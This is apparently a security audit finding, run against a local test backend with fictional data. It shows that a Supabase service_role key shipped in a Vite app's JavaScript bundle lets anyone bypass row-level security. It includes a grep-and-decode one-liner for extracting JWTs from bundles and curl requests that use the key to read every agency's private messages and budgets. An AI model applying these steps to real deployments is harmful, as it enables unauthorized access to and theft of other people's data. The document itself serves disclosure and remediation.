The service_role key is in the production JS bundle; with it, RLS no longer exists

Source file: evidence/before/fm04-service-key-in-bundle.md

Failure mode: FM4 (research/FAILURE_MODES.md) · Severity: critical · Reproduced: yes

Impact: Anyone who views the page source gets a master key to the whole database: read, change or delete every row of every agency.

Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm04-service-key-in-bundle.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:25.800Z.

Setup

sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...   # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)
SERVICE_KEY=<the token whose payload says "role":"service_role", from step 1>

Steps

1. Build the app the way it ships (pnpm before:build), then grep the bundle for JWTs and decode their payloads

sh
grep -Eo 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' before/dist/assets/*.js | sort -u \
  | while IFS=: read f tok; do echo "$f"; echo "$tok" | cut -d. -f2 | base64 -d 2>/dev/null; echo; done

Output:

text
before/dist/assets/index-CqplTXK2.js
  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ... (153 chars)
  payload: {"iss":"supabase-demo","role":"anon","exp":1983812996}
before/dist/assets/index-CqplTXK2.js
  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ... (164 chars)
  payload: {"iss":"supabase-demo","role":"service_role","exp":1983812996}

2. Private project messages with the anon key: RLS returns nothing

sh
curl -s "$URL/rest/v1/messages?select=body,org_id" \
  -H "apikey: $ANON"

Response: HTTP 200

json
[]

3. The same query with the extracted service_role key

sh
curl -s "$URL/rest/v1/messages?select=body,org_id,author_id&order=created_at.desc" \
  -H "apikey: $SERVICE_KEY" \
  -H "Authorization: Bearer $SERVICE_KEY"

Response: HTTP 200

json
[
  {
    "body": "Can we move the review call to Thursday afternoon?",
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50",
    "author_id": "ba44d500-0e37-4401-8346-fc2265612d79"
  },
  {
    "body": "Quick question on the menu page: do prices include tax?",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
    "author_id": "2d4f4a27-68b6-453a-b2d8-a3109473d20a"
  },
  {
    "body": "Could you split the next invoice by location?",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
    "author_id": "b034ccfb-db07-4df1-8f1b-6b90dcadd230"
  },
  "... 43 more (46 total)"
]

4. Every agency's projects and budgets

sh
curl -s "$URL/rest/v1/projects?select=name,budget,org_id&order=budget.desc" \
  -H "apikey: $SERVICE_KEY" \
  -H "Authorization: Bearer $SERVICE_KEY"

Response: HTTP 200

json
[
  {
    "name": "Website refresh 2026",
    "budget": 19264,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  },
  {
    "name": "Packaging 2025",
    "budget": 15737,
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
  },
  {
    "name": "Launch kit 2026",
    "budget": 12200,
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
  },
  "... 11 more (14 total)"
]

What this shows

  • The bundle (1 JS file(s)) contains 2 JWTs; one decodes to "role":"service_role" and is valid until 2032-11-11.
  • With it: 46 messages from 2 agencies (anon key: 0), 14 projects with budgets.
  • Source: before/.env VITE_SUPABASE_SERVICE_ROLE_KEY, used by src/integrations/supabase/admin.ts for "Invite teammate" and "Delete client". Vite inlines every VITE_* variable into client code by design.
  • service_role has BYPASSRLS, so this key also writes and deletes anything. The only fix is to rotate the key and move those calls server side.